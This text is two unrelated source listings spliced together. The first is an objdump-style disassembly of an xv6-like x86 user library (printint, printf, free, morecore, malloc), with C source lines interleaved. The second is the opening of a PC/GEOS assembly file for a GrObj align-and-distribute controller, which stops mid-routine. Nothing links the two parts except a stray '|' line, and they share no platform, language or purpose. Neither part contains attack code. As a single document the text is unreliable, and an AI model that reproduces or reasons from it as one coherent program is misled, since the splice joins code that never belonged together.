486: 79 11 jns 499 <printint+0x2c>
neg = 1;
488: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
48f: 8b 45 0c mov 0xc(%ebp),%eax
492: f7 d8 neg %eax
494: 89 45 ec mov %eax,-0x14(%ebp)
497: eb 06 jmp 49f <printint+0x32>
} else {
x = xx;
499: 8b 45 0c mov 0xc(%ebp),%eax
49c: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
49f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
4a6: 8b 4d f4 mov -0xc(%ebp),%ecx
4a9: 8d 41 01 lea 0x1(%ecx),%eax
4ac: 89 45 f4 mov %eax,-0xc(%ebp)
4af: 8b 5d 10 mov 0x10(%ebp),%ebx
4b2: 8b 45 ec mov -0x14(%ebp),%eax
4b5: ba 00 00 00 00 mov $0x0,%edx
4ba: f7 f3 div %ebx
4bc: 89 d0 mov %edx,%eax
4be: 0f b6 80 84 0b 00 00 movzbl 0xb84(%eax),%eax
4c5: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
4c9: 8b 75 10 mov 0x10(%ebp),%esi
4cc: 8b 45 ec mov -0x14(%ebp),%eax
4cf: ba 00 00 00 00 mov $0x0,%edx
4d4: f7 f6 div %esi
4d6: 89 45 ec mov %eax,-0x14(%ebp)
4d9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4dd: 75 c7 jne 4a6 <printint+0x39>
if(neg)
4df: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4e3: 74 10 je 4f5 <printint+0x88>
buf[i++] = '-';
4e5: 8b 45 f4 mov -0xc(%ebp),%eax
4e8: 8d 50 01 lea 0x1(%eax),%edx
4eb: 89 55 f4 mov %edx,-0xc(%ebp)
4ee: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4f3: eb 1f jmp 514 <printint+0xa7>
4f5: eb 1d jmp 514 <printint+0xa7>
putc(fd, buf[i]);
4f7: 8d 55 dc lea -0x24(%ebp),%edx
4fa: 8b 45 f4 mov -0xc(%ebp),%eax
4fd: 01 d0 add %edx,%eax
4ff: 0f b6 00 movzbl (%eax),%eax
502: 0f be c0 movsbl %al,%eax
505: 89 44 24 04 mov %eax,0x4(%esp)
509: 8b 45 08 mov 0x8(%ebp),%eax
50c: 89 04 24 mov %eax,(%esp)
50f: e8 31 ff ff ff call 445 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
514: 83 6d f4 01 subl $0x1,-0xc(%ebp)
518: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
51c: 79 d9 jns 4f7 <printint+0x8a>
putc(fd, buf[i]);
}
51e: 83 c4 30 add $0x30,%esp
521: 5b pop %ebx
522: 5e pop %esi
523: 5d pop %ebp
524: c3 ret
00000525 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
525: 55 push %ebp
526: 89 e5 mov %esp,%ebp
528: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
52b: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
532: 8d 45 0c lea 0xc(%ebp),%eax
535: 83 c0 04 add $0x4,%eax
538: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
53b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
542: e9 7c 01 00 00 jmp 6c3 <printf+0x19e>
c = fmt[i] & 0xff;
547: 8b 55 0c mov 0xc(%ebp),%edx
54a: 8b 45 f0 mov -0x10(%ebp),%eax
54d: 01 d0 add %edx,%eax
54f: 0f b6 00 movzbl (%eax),%eax
552: 0f be c0 movsbl %al,%eax
555: 25 ff 00 00 00 and $0xff,%eax
55a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
55d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
561: 75 2c jne 58f <printf+0x6a>
if(c == '%'){
563: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
567: 75 0c jne 575 <printf+0x50>
state = '%';
569: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
570: e9 4a 01 00 00 jmp 6bf <printf+0x19a>
} else {
putc(fd, c);
575: 8b 45 e4 mov -0x1c(%ebp),%eax
578: 0f be c0 movsbl %al,%eax
57b: 89 44 24 04 mov %eax,0x4(%esp)
57f: 8b 45 08 mov 0x8(%ebp),%eax
582: 89 04 24 mov %eax,(%esp)
585: e8 bb fe ff ff call 445 <putc>
58a: e9 30 01 00 00 jmp 6bf <printf+0x19a>
}
} else if(state == '%'){
58f: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
593: 0f 85 26 01 00 00 jne 6bf <printf+0x19a>
if(c == 'd'){
599: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
59d: 75 2d jne 5cc <printf+0xa7>
printint(fd, *ap, 10, 1);
59f: 8b 45 e8 mov -0x18(%ebp),%eax
5a2: 8b 00 mov (%eax),%eax
5a4: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
5ab: 00
5ac: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
5b3: 00
5b4: 89 44 24 04 mov %eax,0x4(%esp)
5b8: 8b 45 08 mov 0x8(%ebp),%eax
5bb: 89 04 24 mov %eax,(%esp)
5be: e8 aa fe ff ff call 46d <printint>
ap++;
5c3: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5c7: e9 ec 00 00 00 jmp 6b8 <printf+0x193>
} else if(c == 'x' || c == 'p'){
5cc: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
5d0: 74 06 je 5d8 <printf+0xb3>
5d2: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
5d6: 75 2d jne 605 <printf+0xe0>
printint(fd, *ap, 16, 0);
5d8: 8b 45 e8 mov -0x18(%ebp),%eax
5db: 8b 00 mov (%eax),%eax
5dd: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
5e4: 00
5e5: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
5ec: 00
5ed: 89 44 24 04 mov %eax,0x4(%esp)
5f1: 8b 45 08 mov 0x8(%ebp),%eax
5f4: 89 04 24 mov %eax,(%esp)
5f7: e8 71 fe ff ff call 46d <printint>
ap++;
5fc: 83 45 e8 04 addl $0x4,-0x18(%ebp)
600: e9 b3 00 00 00 jmp 6b8 <printf+0x193>
} else if(c == 's'){
605: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
609: 75 45 jne 650 <printf+0x12b>
s = (char*)*ap;
60b: 8b 45 e8 mov -0x18(%ebp),%eax
60e: 8b 00 mov (%eax),%eax
610: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
613: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
617: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
61b: 75 09 jne 626 <printf+0x101>
s = "(null)";
61d: c7 45 f4 17 09 00 00 movl $0x917,-0xc(%ebp)
while(*s != 0){
624: eb 1e jmp 644 <printf+0x11f>
626: eb 1c jmp 644 <printf+0x11f>
putc(fd, *s);
628: 8b 45 f4 mov -0xc(%ebp),%eax
62b: 0f b6 00 movzbl (%eax),%eax
62e: 0f be c0 movsbl %al,%eax
631: 89 44 24 04 mov %eax,0x4(%esp)
635: 8b 45 08 mov 0x8(%ebp),%eax
638: 89 04 24 mov %eax,(%esp)
63b: e8 05 fe ff ff call 445 <putc>
s++;
640: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
644: 8b 45 f4 mov -0xc(%ebp),%eax
647: 0f b6 00 movzbl (%eax),%eax
64a: 84 c0 test %al,%al
64c: 75 da jne 628 <printf+0x103>
64e: eb 68 jmp 6b8 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
650: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
654: 75 1d jne 673 <printf+0x14e>
putc(fd, *ap);
656: 8b 45 e8 mov -0x18(%ebp),%eax
659: 8b 00 mov (%eax),%eax
65b: 0f be c0 movsbl %al,%eax
65e: 89 44 24 04 mov %eax,0x4(%esp)
662: 8b 45 08 mov 0x8(%ebp),%eax
665: 89 04 24 mov %eax,(%esp)
668: e8 d8 fd ff ff call 445 <putc>
ap++;
66d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
671: eb 45 jmp 6b8 <printf+0x193>
} else if(c == '%'){
673: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
677: 75 17 jne 690 <printf+0x16b>
putc(fd, c);
679: 8b 45 e4 mov -0x1c(%ebp),%eax
67c: 0f be c0 movsbl %al,%eax
67f: 89 44 24 04 mov %eax,0x4(%esp)
683: 8b 45 08 mov 0x8(%ebp),%eax
686: 89 04 24 mov %eax,(%esp)
689: e8 b7 fd ff ff call 445 <putc>
68e: eb 28 jmp 6b8 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
690: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
697: 00
698: 8b 45 08 mov 0x8(%ebp),%eax
69b: 89 04 24 mov %eax,(%esp)
69e: e8 a2 fd ff ff call 445 <putc>
putc(fd, c);
6a3: 8b 45 e4 mov -0x1c(%ebp),%eax
6a6: 0f be c0 movsbl %al,%eax
6a9: 89 44 24 04 mov %eax,0x4(%esp)
6ad: 8b 45 08 mov 0x8(%ebp),%eax
6b0: 89 04 24 mov %eax,(%esp)
6b3: e8 8d fd ff ff call 445 <putc>
}
state = 0;
6b8: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6bf: 83 45 f0 01 addl $0x1,-0x10(%ebp)
6c3: 8b 55 0c mov 0xc(%ebp),%edx
6c6: 8b 45 f0 mov -0x10(%ebp),%eax
6c9: 01 d0 add %edx,%eax
6cb: 0f b6 00 movzbl (%eax),%eax
6ce: 84 c0 test %al,%al
6d0: 0f 85 71 fe ff ff jne 547 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
6d6: c9 leave
6d7: c3 ret
000006d8 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6d8: 55 push %ebp
6d9: 89 e5 mov %esp,%ebp
6db: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
6de: 8b 45 08 mov 0x8(%ebp),%eax
6e1: 83 e8 08 sub $0x8,%eax
6e4: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6e7: a1 a8 0b 00 00 mov 0xba8,%eax
6ec: 89 45 fc mov %eax,-0x4(%ebp)
6ef: eb 24 jmp 715 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6f1: 8b 45 fc mov -0x4(%ebp),%eax
6f4: 8b 00 mov (%eax),%eax
6f6: 3b 45 fc cmp -0x4(%ebp),%eax
6f9: 77 12 ja 70d <free+0x35>
6fb: 8b 45 f8 mov -0x8(%ebp),%eax
6fe: 3b 45 fc cmp -0x4(%ebp),%eax
701: 77 24 ja 727 <free+0x4f>
703: 8b 45 fc mov -0x4(%ebp),%eax
706: 8b 00 mov (%eax),%eax
708: 3b 45 f8 cmp -0x8(%ebp),%eax
70b: 77 1a ja 727 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
70d: 8b 45 fc mov -0x4(%ebp),%eax
710: 8b 00 mov (%eax),%eax
712: 89 45 fc mov %eax,-0x4(%ebp)
715: 8b 45 f8 mov -0x8(%ebp),%eax
718: 3b 45 fc cmp -0x4(%ebp),%eax
71b: 76 d4 jbe 6f1 <free+0x19>
71d: 8b 45 fc mov -0x4(%ebp),%eax
720: 8b 00 mov (%eax),%eax
722: 3b 45 f8 cmp -0x8(%ebp),%eax
725: 76 ca jbe 6f1 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
727: 8b 45 f8 mov -0x8(%ebp),%eax
72a: 8b 40 04 mov 0x4(%eax),%eax
72d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
734: 8b 45 f8 mov -0x8(%ebp),%eax
737: 01 c2 add %eax,%edx
739: 8b 45 fc mov -0x4(%ebp),%eax
73c: 8b 00 mov (%eax),%eax
73e: 39 c2 cmp %eax,%edx
740: 75 24 jne 766 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
742: 8b 45 f8 mov -0x8(%ebp),%eax
745: 8b 50 04 mov 0x4(%eax),%edx
748: 8b 45 fc mov -0x4(%ebp),%eax
74b: 8b 00 mov (%eax),%eax
74d: 8b 40 04 mov 0x4(%eax),%eax
750: 01 c2 add %eax,%edx
752: 8b 45 f8 mov -0x8(%ebp),%eax
755: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
758: 8b 45 fc mov -0x4(%ebp),%eax
75b: 8b 00 mov (%eax),%eax
75d: 8b 10 mov (%eax),%edx
75f: 8b 45 f8 mov -0x8(%ebp),%eax
762: 89 10 mov %edx,(%eax)
764: eb 0a jmp 770 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
766: 8b 45 fc mov -0x4(%ebp),%eax
769: 8b 10 mov (%eax),%edx
76b: 8b 45 f8 mov -0x8(%ebp),%eax
76e: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
770: 8b 45 fc mov -0x4(%ebp),%eax
773: 8b 40 04 mov 0x4(%eax),%eax
776: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
77d: 8b 45 fc mov -0x4(%ebp),%eax
780: 01 d0 add %edx,%eax
782: 3b 45 f8 cmp -0x8(%ebp),%eax
785: 75 20 jne 7a7 <free+0xcf>
p->s.size += bp->s.size;
787: 8b 45 fc mov -0x4(%ebp),%eax
78a: 8b 50 04 mov 0x4(%eax),%edx
78d: 8b 45 f8 mov -0x8(%ebp),%eax
790: 8b 40 04 mov 0x4(%eax),%eax
793: 01 c2 add %eax,%edx
795: 8b 45 fc mov -0x4(%ebp),%eax
798: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
79b: 8b 45 f8 mov -0x8(%ebp),%eax
79e: 8b 10 mov (%eax),%edx
7a0: 8b 45 fc mov -0x4(%ebp),%eax
7a3: 89 10 mov %edx,(%eax)
7a5: eb 08 jmp 7af <free+0xd7>
} else
p->s.ptr = bp;
7a7: 8b 45 fc mov -0x4(%ebp),%eax
7aa: 8b 55 f8 mov -0x8(%ebp),%edx
7ad: 89 10 mov %edx,(%eax)
freep = p;
7af: 8b 45 fc mov -0x4(%ebp),%eax
7b2: a3 a8 0b 00 00 mov %eax,0xba8
}
7b7: c9 leave
7b8: c3 ret
000007b9 <morecore>:
static Header*
morecore(uint nu)
{
7b9: 55 push %ebp
7ba: 89 e5 mov %esp,%ebp
7bc: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
7bf: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
7c6: 77 07 ja 7cf <morecore+0x16>
nu = 4096;
7c8: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
7cf: 8b 45 08 mov 0x8(%ebp),%eax
7d2: c1 e0 03 shl $0x3,%eax
7d5: 89 04 24 mov %eax,(%esp)
7d8: e8 30 fc ff ff call 40d <sbrk>
7dd: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
7e0: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
7e4: 75 07 jne 7ed <morecore+0x34>
return 0;
7e6: b8 00 00 00 00 mov $0x0,%eax
7eb: eb 22 jmp 80f <morecore+0x56>
hp = (Header*)p;
7ed: 8b 45 f4 mov -0xc(%ebp),%eax
7f0: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
7f3: 8b 45 f0 mov -0x10(%ebp),%eax
7f6: 8b 55 08 mov 0x8(%ebp),%edx
7f9: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
7fc: 8b 45 f0 mov -0x10(%ebp),%eax
7ff: 83 c0 08 add $0x8,%eax
802: 89 04 24 mov %eax,(%esp)
805: e8 ce fe ff ff call 6d8 <free>
return freep;
80a: a1 a8 0b 00 00 mov 0xba8,%eax
}
80f: c9 leave
810: c3 ret
00000811 <malloc>:
void*
malloc(uint nbytes)
{
811: 55 push %ebp
812: 89 e5 mov %esp,%ebp
814: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
817: 8b 45 08 mov 0x8(%ebp),%eax
81a: 83 c0 07 add $0x7,%eax
81d: c1 e8 03 shr $0x3,%eax
820: 83 c0 01 add $0x1,%eax
823: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
826: a1 a8 0b 00 00 mov 0xba8,%eax
82b: 89 45 f0 mov %eax,-0x10(%ebp)
82e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
832: 75 23 jne 857 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
834: c7 45 f0 a0 0b 00 00 movl $0xba0,-0x10(%ebp)
83b: 8b 45 f0 mov -0x10(%ebp),%eax
83e: a3 a8 0b 00 00 mov %eax,0xba8
843: a1 a8 0b 00 00 mov 0xba8,%eax
848: a3 a0 0b 00 00 mov %eax,0xba0
base.s.size = 0;
84d: c7 05 a4 0b 00 00 00 movl $0x0,0xba4
854: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
857: 8b 45 f0 mov -0x10(%ebp),%eax
85a: 8b 00 mov (%eax),%eax
85c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
85f: 8b 45 f4 mov -0xc(%ebp),%eax
862: 8b 40 04 mov 0x4(%eax),%eax
865: 3b 45 ec cmp -0x14(%ebp),%eax
868: 72 4d jb 8b7 <malloc+0xa6>
if(p->s.size == nunits)
86a: 8b 45 f4 mov -0xc(%ebp),%eax
86d: 8b 40 04 mov 0x4(%eax),%eax
870: 3b 45 ec cmp -0x14(%ebp),%eax
873: 75 0c jne 881 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
875: 8b 45 f4 mov -0xc(%ebp),%eax
878: 8b 10 mov (%eax),%edx
87a: 8b 45 f0 mov -0x10(%ebp),%eax
87d: 89 10 mov %edx,(%eax)
87f: eb 26 jmp 8a7 <malloc+0x96>
else {
p->s.size -= nunits;
881: 8b 45 f4 mov -0xc(%ebp),%eax
884: 8b 40 04 mov 0x4(%eax),%eax
887: 2b 45 ec sub -0x14(%ebp),%eax
88a: 89 c2 mov %eax,%edx
88c: 8b 45 f4 mov -0xc(%ebp),%eax
88f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
892: 8b 45 f4 mov -0xc(%ebp),%eax
895: 8b 40 04 mov 0x4(%eax),%eax
898: c1 e0 03 shl $0x3,%eax
89b: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
89e: 8b 45 f4 mov -0xc(%ebp),%eax
8a1: 8b 55 ec mov -0x14(%ebp),%edx
8a4: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
8a7: 8b 45 f0 mov -0x10(%ebp),%eax
8aa: a3 a8 0b 00 00 mov %eax,0xba8
return (void*)(p + 1);
8af: 8b 45 f4 mov -0xc(%ebp),%eax
8b2: 83 c0 08 add $0x8,%eax
8b5: eb 38 jmp 8ef <malloc+0xde>
}
if(p == freep)
8b7: a1 a8 0b 00 00 mov 0xba8,%eax
8bc: 39 45 f4 cmp %eax,-0xc(%ebp)
8bf: 75 1b jne 8dc <malloc+0xcb>
if((p = morecore(nunits)) == 0)
8c1: 8b 45 ec mov -0x14(%ebp),%eax
8c4: 89 04 24 mov %eax,(%esp)
8c7: e8 ed fe ff ff call 7b9 <morecore>
8cc: 89 45 f4 mov %eax,-0xc(%ebp)
8cf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8d3: 75 07 jne 8dc <malloc+0xcb>
return 0;
8d5: b8 00 00 00 00 mov $0x0,%eax
8da: eb 13 jmp 8ef <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8dc: 8b 45 f4 mov -0xc(%ebp),%eax
8df: 89 45 f0 mov %eax,-0x10(%ebp)
8e2: 8b 45 f4 mov -0xc(%ebp),%eax
8e5: 8b 00 mov (%eax),%eax
8e7: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
8ea: e9 70 ff ff ff jmp 85f <malloc+0x4e>
}
8ef: c9 leave
8f0: c3 ret
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiAlignDistributeControl.asm
AUTHOR: Jon Witort
METHODS:
Name Description
---- -----------
FUNCTIONS:
Scope Name Description
----- ---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 24 feb 1992 Initial version.
DESCRIPTION:
Code for the GrObjAlignDistributeControlClass
$Id: uiAlignControl.asm,v 1.1 97/04/04 18:06:03 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjUIControllerCode segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjAlignDistributeControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for GrObjAlignDistributeControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of GrObjAlignDistributeControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
GrObjAlignDistributeControlGetInfo method dynamic GrObjAlignDistributeControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset GOADC_dupInfo
call CopyDupInfoCommon
ret
GrObjAlignDistributeControlGetInfo endm
GOADC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
GOADC_IniFileKey, ; GCBI_initFileKey
GOADC_gcnList, ; GCBI_gcnList
length GOADC_gcnList, ; GCBI_gcnCount
GOADC_notifyList, ; GCBI_notificationList
length GOADC_notifyList, ; GCBI_notificationCount
GOADCName, ; GCBI_controllerName
handle GrObjAlignDistributeControlUI, ; GCBI_dupBlock
GOADC_childList, ; GCBI_childList
length GOADC_childList, ; GCBI_childCount
GOADC_featuresList, ; GCBI_featuresList
length GOADC_featuresList, ; GCBI_featuresCount
GOADC_DEFAULT_FEATURES, ; GCBI_features
0, ; GCBI_toolBlock
0, ; GCBI_toolList
0, ; GCBI_toolCount
0, ; GCBI_toolFeaturesList
0, ; GCBI_toolFeaturesCount
0, ; GCBI_toolFeatures
GOADC_helpContext> ; GCBI_helpContext
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP segment resource
endif
GOADC_helpContext char "dbGrObjAlign", 0
GOADC_IniFileKey char "GrObjAlignDistribute", 0
GOADC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, \
GAGCNLT_APP_TARGET_NOTIFY_GROBJ_BODY_SELECTION_STATE_CHANGE>
GOADC_notifyList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_BODY_SELECTION_STATE_CHANGE>
;---
GOADC_childList GenControlChildInfo \
<offset GrObjAlignGroup, mask GOADCF_ALIGN_LEFT or \
mask GOADCF_ALIGN_CENTER_HORIZONTALLY or \
mask GOADCF_ALIGN_RIGHT or \
mask GOADCF_ALIGN_WIDTH or \
mask GOADCF_ALIGN_CENTER_VERTICALLY or \
mask GOADCF_ALIGN_BOTTOM or \
mask GOADCF_ALIGN_HEIGHT, 0>,
<offset GrObjDistributeGroup, mask GOADCF_DISTRIBUTE_LEFT or \
mask GOADCF_DISTRIBUTE_CENTER_HORIZONTALLY or \
mask GOADCF_DISTRIBUTE_RIGHT or \
mask GOADCF_DISTRIBUTE_WIDTH or \
mask GOADCF_DISTRIBUTE_CENTER_VERTICALLY or \
mask GOADCF_DISTRIBUTE_BOTTOM or \
mask GOADCF_DISTRIBUTE_HEIGHT, 0>
GOADC_featuresList GenControlFeaturesInfo \
<offset GrObjDistributeHeightItem, DistributeHeightName, 0>,
<offset GrObjDistributeBottomItem, DistributeBottomName, 0>,
<offset GrObjDistributeCenterVerticallyItem, DistributeCenterVerticallyName, 0>,
<offset GrObjDistributeTopItem, DistributeTopName, 0>,
<offset GrObjDistributeWidthItem, DistributeWidthName, 0>,
<offset GrObjDistributeRightItem, DistributeRightName, 0>,
<offset GrObjDistributeCenterHorizontallyItem, DistributeCenterHorizontallyName, 0>,
<offset GrObjDistributeLeftItem, DistributeLeftName, 0>,
<offset GrObjAlignHeightItem, AlignHeightName, 0>,
<offset GrObjAlignBottomItem, AlignBottomName, 0>,
<offset GrObjAlignCenterVerticallyItem, AlignCenterVerticallyName, 0>,
<offset GrObjAlignTopItem, AlignTopName, 0>,
<offset GrObjAlignWidthItem, AlignWidthName, 0>,
<offset GrObjAlignRightItem, AlignRightName, 0>,
<offset GrObjAlignCenterHorizontallyItem, AlignCenterHorizontallyName, 0>,
<offset GrObjAlignLeftItem, AlignLeftName, 0>
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP ends
endif
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjAlignDistributeControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for GrObjAlignDistributeControlClass
DESCRIPTION: Handle notification of type change
PASS:
*ds:si - instance data
es - segment of GrObjAlignDistributeControlClass
ax - MSG_GEN_CONTROL_UPDATE_UI
ss:bp - GenControlUpdateUIParams
RETURN: nothing
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11 feb 1992 Initial version
------------------------------------------------------------------------------@
GrObjAlignDistributeControlUpdateUI method dynamic GrObjAlignDistributeControlClass,
MSG_GEN_CONTROL_UPDATE_UI
uses cx, dx
.enter
mov cx, 2
mov ax, mask GOADCF_ALIGN_LEFT
mov si, offset GrObjAlignLeftItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_CENTER_HORIZONTALLY
mov si, offset GrObjAlignCenterHorizontallyItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_RIGHT
mov si, offset GrObjAlignRightItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_WIDTH
mov si, offset GrObjAlignWidthItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_TOP
mov si, offset GrObjAlignTopItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_CENTER_VERTICALLY
mov si, offset GrObjAlignCenterVerticallyItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_BOTTOM
mov si, offset GrObjAlignBottomItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_ALIGN_HEIGHT
mov si, offset GrObjAlignHeightItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov cx, 3
mov ax, mask GOADCF_DISTRIBUTE_LEFT
mov si, offset GrObjDistributeLeftItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_CENTER_HORIZONTALLY
mov si, offset GrObjDistributeCenterHorizontallyItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_RIGHT
mov si, offset GrObjDistributeRightItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_WIDTH
mov si, offset GrObjDistributeWidthItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_TOP
mov si, offset GrObjDistributeTopItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_CENTER_VERTICALLY
mov si, offset GrObjDistributeCenterVerticallyItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_BOTTOM
mov si, offset GrObjDistributeBottomItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov ax, mask GOADCF_DISTRIBUTE_HEIGHT
